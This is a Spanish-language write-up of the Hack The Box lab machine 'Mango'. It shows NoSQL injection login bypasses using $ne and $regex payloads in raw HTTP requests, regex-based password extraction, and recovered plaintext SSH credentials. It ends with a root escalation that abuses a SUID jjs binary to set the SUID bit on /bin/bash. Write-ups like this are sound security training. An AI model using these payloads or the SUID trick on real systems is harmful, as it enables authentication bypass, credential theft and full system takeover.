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🔒🔒https://10.10.10.162/analytics.php

Kali Linux

Kali Tools

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Kali NetHunter

Exploit-DB

Google Hacking DB

OffSec

Connect

Open

Save

Export

Grid

Charts

	1	2	3	4	5	6	7	8
1	STATES	YEAR						
2	CITY	1977	1978	1979	1980	1981	1982	1983
3	▶ Arizona	339.7	265.6	313.5	292.7	268.2	278.2	
4	▶ Colorado	374	293.5	332.5	315.2	288.9	300.6	
5	▶ Florida	279.75	254.5	239	239.075	226.5	232.025	
6	▶ Georgia	294	262.7	241.8	230.2	219.1	226	
7	▶ Missouri-Illinois	344.6	327.8	305	276.7	248	249.3	
8	▶ Nevada	341.8	268.3	335.1	303.7	263.2	255.6	
9	▶ New York-New Jersey-Pennsylvania	254.1	219.5	217	210.3	201	211.2	
10	▶ North Carolina-South Carolina	263.2	246.3	230.8	204.5	189.1	194.3	
11	▶ Oregon-Washington	344.9	320	290.2	275.6	250.6	238.3	

Vamos a ver el certificado ssl del puerto 443. Como podemos ver nos revela un subdominio

Subject Name	
Country	IN
State/Province	None
Locality	None
Organization	Mango Prv Ltd.
Organizational Unit	None
Common Name	staging-order.mango.htb
Email Address	admin@mango.htb

Vemos que es un panel de login:

Welcome Back!

Log in for ordering Sweet & Juicy Mango.

Username

Password

[Forgot Password](#)

LOGIN

Vamos a intentar bypasearlo con una SQL injection de distintas formas (El codigo de estado 200 nos dice que no lo hemos bypaseado):

1

POST / HTTP/1.1

2

Host: staging-order.mango.htb

3

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

5

Accept-Language: en-US,en;q=0.5

5

Accept-Encoding: gzip, deflate, br

7

Content-Type: application/x-www-form-urlencoded

3

Content-Length: 56

3

Origin: http://staging-order.mango.htb

0

Connection: keep-alive

1

Referer: http://staging-order.mango.htb/

2

Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43

3

Upgrade-Insecure-Requests: 1

4

5

username=admin' or 1=1-- -&password=password&login=login

1

HTTP/1.1 200 OK

2

Date: Tue, 29 Oct 2024 08:16:33 GMT

3

Server: Apache/2.4.29 (Ubuntu)

4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

5

Cache-Control: no-store, no-cache, must-revalidate

6

Pragma: no-cache

7

Vary: Accept-Encoding

8

Content-Length: 4022

9

Keep-Alive: timeout=5, max=100

10

Connection: Keep-Alive

11

Content-Type: text/html; charset=UTF-8

12

13

<!DOCTYPE html>

14

<html lang="en">

15

<head>

16

<meta charset="UTF-8">

17

<link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/logo-pin-8f38bd662872f6b673a722f4b3ca2421637d5596661b4e2132cc.svg#111" />

18

<title>

Mango | Sweet & Juicy

POST / HTTP/1.1

Host: staging-order.mango.htb

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 57

Origin: http://staging-order.mango.htb

Connection: keep-alive

Referer: http://staging-order.mango.htb/

Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43

Upgrade-Insecure-Requests: 1

username=admin' and 1=1-- -&password=password&login=login

1

HTTP/1.1 200 OK

2

Date: Tue, 29 Oct 2024 08:18:06 GMT

3

Server: Apache/2.4.29 (Ubuntu)

4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

5

Cache-Control: no-store, no-cache, must-revalidate

6

Pragma: no-cache

7

Vary: Accept-Encoding

8

Content-Length: 4022

9

Keep-Alive: timeout=5, max=100

10

Connection: Keep-Alive

11

Content-Type: text/html; charset=UTF-8

12

13

<!DOCTYPE html>

14

<html lang="en">

15

<head>

16

<meta charset="UTF-8">

17

<link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/logo-pin-8f38bd662872f6b673a722f4b3ca2421637d5596661b4e2132cc.svg#111" />

POST / HTTP/1.1

Host: staging-order.mango.htb

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 62

Origin: http://staging-order.mango.htb

Connection: keep-alive

Referer: http://staging-order.mango.htb/

Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43

Upgrade-Insecure-Requests: 1

username=admin' or sleep (5)-- -&password=password&login=login

1

HTTP/1.1 200 OK

2

Date: Tue, 29 Oct 2024 08:18:35 GMT

3

Server: Apache/2.4.29 (Ubuntu)

4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

5

Cache-Control: no-store, no-cache, must-revalidate

6

Pragma: no-cache

7

Vary: Accept-Encoding

8

Content-Length: 4022

9

Keep-Alive: timeout=5, max=100

10

Connection: Keep-Alive

11

Content-Type: text/html; charset=UTF-8

12

13

<!DOCTYPE html>

14

<html lang="en">

15

<head>

16

<meta charset="UTF-8">

17

<link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/logo-pin-8f38bd662872f6b673a722f4b3ca2421637d5596661b4e2132cc.svg#111" />

18

<title>

Mango | Sweet & Juicy

POST / HTTP/1.1

Host: staging-order.mango.htb

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

Origin: http://staging-order.mango.htb

Connection: keep-alive

Referer: http://staging-order.mango.htb/

Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43

Upgrade-Insecure-Requests: 1

username=admin' '&password=password&login=login

1

HTTP/1.1 200 OK

2

Date: Tue, 29 Oct 2024 08:19:05 GMT

3

Server: Apache/2.4.29 (Ubuntu)

4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

5

Cache-Control: no-store, no-cache, must-revalidate

6

Pragma: no-cache

7

Vary: Accept-Encoding

8

Content-Length: 4022

9

Keep-Alive: timeout=5, max=100

10

Connection: Keep-Alive

11

Content-Type: text/html; charset=UTF-8

12

13

<!DOCTYPE html>

14

<html lang="en">

15

<head>

16

<meta charset="UTF-8">

17

<link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/logo-pin-8f38bd662872f6b673a722f4b3ca2421637d5596661b4e2132cc.svg#111" />

He probado a realizar lo mismo en el campo password y siempre me encuentro con el mismo código de estado (200) y el mismo "Content-Length" (4022). Como no estamos consiguiendo nada con las SQLi, vamos a intentarlo con las NoSQL Injection.

Las NQL Injection son distintas, se puede jugar con operadores lógicos como:



- `[$ne]` => Not equal
- `[$regex]` => Expresiones Regulares
  - `[$regex]=^a` => Que empiecen por "a"
  - `[$regex]=^a.*` => Que empiecen por "a" y luego tenga contenido
  - `[$regex]=.{2}` => Longitud de 20 caracteres

Quiero que me diga si el usuario es igual a admin y la contraseña NO es igual a admin:

```
POST / HTTP/1.1
Host: staging-order.mango.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://staging-order.mango.htb
Connection: keep-alive
Referer: http://staging-order.mango.htb/
Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43
Upgrade-Insecure-Requests: 1

username[$eq]=admin&password[$ne]=admin&login=login
```

Como vemos, el código de estado es "302" por lo que se está aplicando una redirección. Si le damos a "follow redirect" podemos ver lo siguiente:



Vamos a intentar conseguir la contraseña. Vamos a ver si la contraseña empieza por "a":

```
POST / HTTP/1.1
Host: staging-order.mango.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://staging-order.mango.htb
Connection: keep-alive
Referer: http://staging-order.mango.htb/
Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43
Upgrade-Insecure-Requests: 1
username[$eq]=admin&password[$regex]=^a&login=login|

1 HTTP/1.1 200 OK
2 Date: Tue, 29 Oct 2024 09:12:50 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache,
6 Pragma: no-cache
7 Vary: Accept-Encoding
8 Content-Length: 4022
9 Keep-Alive: timeout=5, max=100
10 Connection: Keep-Alive
11 Content-Type: text/html; charset=UTF-8
12
13 <!DOCTYPE html>
14 <html lang="en">
15   <head>
16     <meta charset="UTF-8">
17     <link rel="mask-icon" type="image/svg+xml" href="https://static.codepen.io/assets/images/favicon-mask-248x248.png?dpr=1" />
18   </head>
19   <body>
20     <div>
21       <div>
22         <div>
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24             <div>
25               <div>
26                 <div>
27                   <div>
28                     <div>
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352                                            <div>
```

Como obtenemos un código de estado 200 quiere decir que no empieza por "a". Como no voy a ir probando letra a letra voy a utilizar el intruder para que fuzzear con todas las letras del abecedario y ver cual me da un código de estado distinto:

17	q	200	112
18	r	200	112
19	s	200	112
20	t	302	112

Como podemos ver, la "t" tiene un código de estado distinto, por lo que empieza por "t". Vamos a ver cuántos caracteres tiene la contraseña:

Request

PrettyRawHex

ln

1

POST / HTTP/1.1

2

Host: staging-order.mango.htb

3

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

5

Accept-Language: en-US,en;q=0.5

6

Accept-Encoding: gzip, deflate, br

7

Content-Type: application/x-www-form-urlencoded

8

Content-Length: 54

9

Origin: http://staging-order.mango.htb

10

Connection: keep-alive

11

Referer: http://staging-order.mango.htb/

12

Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43

13

Upgrade-Insecure-Requests: 1

14

15

username[\$eq]=admin&password[\$regex]=.{12}&login=login

POST / HTTP/1.1

Host: staging-order.mango.htb

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 54

Origin: http://staging-order.mango.htb

Connection: keep-alive

Referer: http://staging-order.mango.htb/

Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43

Upgrade-Insecure-Requests: 1

username[\$eq]=admin&password[\$regex]=.{13}&login=login

Response

PrettyRawHexRender

1

HTTP/1.1 302 Found

2

Date: Tue, 29 Oct 2024 09:19:10 GMT

3

Server: Apache/2.4.29 (Ubuntu)

4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

5

Cache-Control: no-store, no-cache, must-revalidate

6

Pragma: no-cache

7

location: home.php

8

Content-Length: 4022

9

Keep-Alive: timeout=5, max=100

10

Connection: Keep-Alive

11

Content-Type: text/html; charset=UTF-8

12

13

<!DOCTYPE html>

14

<html lang="en">

15

<head>

16

<meta charset="UTF-8">

17

<link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon-mask-v2.0.3.png" data-pfx="https://static.codepen.io/assets/" data-orig-h="16" data-orig-w="16" data-ratio="1" data-type="image/svg+xml" data-u="https://static.codepen.io/assets/favicon-mask-v2.0.3.png" data-v="2.0.3"/>

1

HTTP/1.1 200 OK

2

Date: Tue, 29 Oct 2024 09:19:37 GMT

3

Server: Apache/2.4.29 (Ubuntu)

4

Expires: Thu, 19 Nov 1981 08:52:00 GMT

5

Cache-Control: no-store, no-cache, must-revalidate

6

Pragma: no-cache

7

Vary: Accept-Encoding

8

Content-Length: 4022

9

Keep-Alive: timeout=5, max=100

10

Connection: Keep-Alive

11

Content-Type: text/html; charset=UTF-8

12

13

<!DOCTYPE html>

14

<html lang="en">

15

<head>

16

<meta charset="UTF-8">

17

<link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon-mask-v2.0.3.png" data-pfx="https://static.codepen.io/assets/" data-orig-h="16" data-orig-w="16" data-ratio="1" data-type="image/svg+xml" data-u="https://static.codepen.io/assets/favicon-mask-v2.0.3.png" data-v="2.0.3"/>

```
POST / HTTP/1.1
Host: staging-order.mango.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://staging-order.mango.htb
Connection: keep-alive
Referer: http://staging-order.mango.htb/
Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43
Upgrade-Insecure-Requests: 1

username[$eq]=mango&password[$ne]=admin&login=login|
```

```
1 HTTP/1.1 302 Found
2 Date: Tue, 29 Oct 2024 09:39:06 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 location: home.php
8 Content-Length: 4022
9 Keep-Alive: timeout=5, max=100
10 Connection: Keep-Alive
11 Content-Type: text/html; charset=UTF-8
12
13 <!DOCTYPE html>
14 <html lang="en">
15   <head>
16     <meta charset="UTF-8">
17     <link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/8bd662872f6b673a722f4b3ca2421637d5596661f31111" />
18     <title>
      Mango | Sweet & Juicy
```

Vamos a ver por que letra empieza la password:

```
POST / HTTP/1.1
Host: staging-order.mango.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: http://staging-order.mango.htb
Connection: keep-alive
Referer: http://staging-order.mango.htb/
Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43
Upgrade-Insecure-Requests: 1

username[$eq]=mango&password[$regex]=^$a$.*&login=login
```

g	200
h	302
i	200
j	200
k	200

Empieza por la letra "h". Vamos a ver cuantos caracteres tiene:

```
POST / HTTP/1.1
Host: staging-order.mango.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://staging-order.mango.htb
Connection: keep-alive
Referer: http://staging-order.mango.htb/
Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43
Upgrade-Insecure-Requests: 1

username[$eq]=mango&password[$regex]=.{16}&login=login
```

```
1 HTTP/1.1 302 Found
2 Date: Tue, 29 Oct 2024 09:39:06 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 location: home.php
8 Content-Length: 4022
9 Keep-Alive: timeout=5, max=100
10 Connection: Keep-Alive
11 Content-Type: text/html; charset=UTF-8
12
13 <!DOCTYPE html>
14 <html lang="en">
15   <head>
16     <meta charset="UTF-8">
17     <link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/8bd662872f6b673a722f4b3ca2421637d5596661f31111" />
18     <title>
      Mango | Sweet & Juicy
```

```
POST / HTTP/1.1
Host: staging-order.mango.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://staging-order.mango.htb
Connection: keep-alive
Referer: http://staging-order.mango.htb/
Cookie: PHPSESSID=v7hsi3fdkobjsnuhhjksuqpg43
Upgrade-Insecure-Requests: 1

username[$eq]=mango&password[$regex]=.{17}&login=login|
```

```
1 HTTP/1.1 200 OK
2 Date: Tue, 29 Oct 2024 09:39:06 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Vary: Accept-Encoding
8 Content-Length: 4022
9 Keep-Alive: timeout=5, max=100
10 Connection: Keep-Alive
11 Content-Type: text/html; charset=UTF-8
12
13 <!DOCTYPE html>
14 <html lang="en">
15   <head>
16     <meta charset="UTF-8">
17     <link rel="mask-icon" type="" href="https://static.codepen.io/assets/favicon/8bd662872f6b673a722f4b3ca2421637d5596661f31111" />
18     <title>
      Mango | Sweet & Juicy
```



Tiene 16 caracteres. Deberiamos programar un script en python que tira probando caracter por caracter para descubrir la contraseña.

Conseguimos las credenciales mango:h3mXK8RhU~f[]f5H

Como me sale que la pagina esta en construccion al igual que con las credenciales de admin, podemos intentar conectarnos por ssh:

```
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activ
https://ubuntu.com/livepatch

118 packages can be updated.
18 updates are security updates.

Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138
mango@mango:~$
```

## ESCALADA DE PRIVILEGIOS

Vemos que hay 2 usuarios, admin y mango:

```
mango@mango:~$ ls /home
admin mango
```

Vamos a intentar conectarnos por ssh con el usuario admin:

```
$ ssh admin@10.10.10.162
admin@10.10.10.162's password:
Permission denied, please try again.
```

Como no nos deja, vamos a cambiar al usuario admin utilizando el comando "su":

```
mango@mango:~$ su admin
Password:
$ whoami
admin
```

Es raro que no nos deje conectarnos por ssh con la credencial de sesion, seguramente sera por que en la configuracion de "sshd" deniegan o permiten a "x" usuarios.

```
PasswordAuthentication yes
AllowUsers mango root
```

Vamos a ver los permisos que tenemos como SUID:

```
/usr/lib/policykit-1/policykit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
```

Tenemos permisos SUID y SGID en el binario "jjs":

```
admin@mango:/home/mango$ ls -la /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-rwsr-sr-- 1 root admin 10352 Jul 18 2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
```

Vamos a buscar en gftobins si existe alguna forma de escalada con este binario:

### | SUID #

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian ( $\leq$  Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

This has been found working in macOS but failing on Linux systems.

```
sudo install -m =xs $(which jjs) .
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc @$|sh\${IFS}-p _ echo sh -p <$(tty) >$(t
```

Como este comando no funcionaba (se me queda trabado), vamos a modificar lo que ejecutar tras el "exec" para proporcionarme permisos SUID en la bash:

```
admin@mango:/home/mango$ echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /bin/bash').waitFor()" | ./jjs
bash: ./jjs: No such file or directory
```

Pero me da un error porque no estoy en la ruta donde se encuentra el "jjs". Como "/usr/bin" esta contemplado en el \$PATH podemos quitar el "./":

```
admin@mango:/home/mango$ echo "Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /bin/bash').waitFor()" | jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /bin/bash').waitFor()
jjs> admin@mango:/home/mango$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr  4 2018 /bin/bash
admin@mango:/home/mango$ /bin/bash -p
bash-4.4# whoami
root
```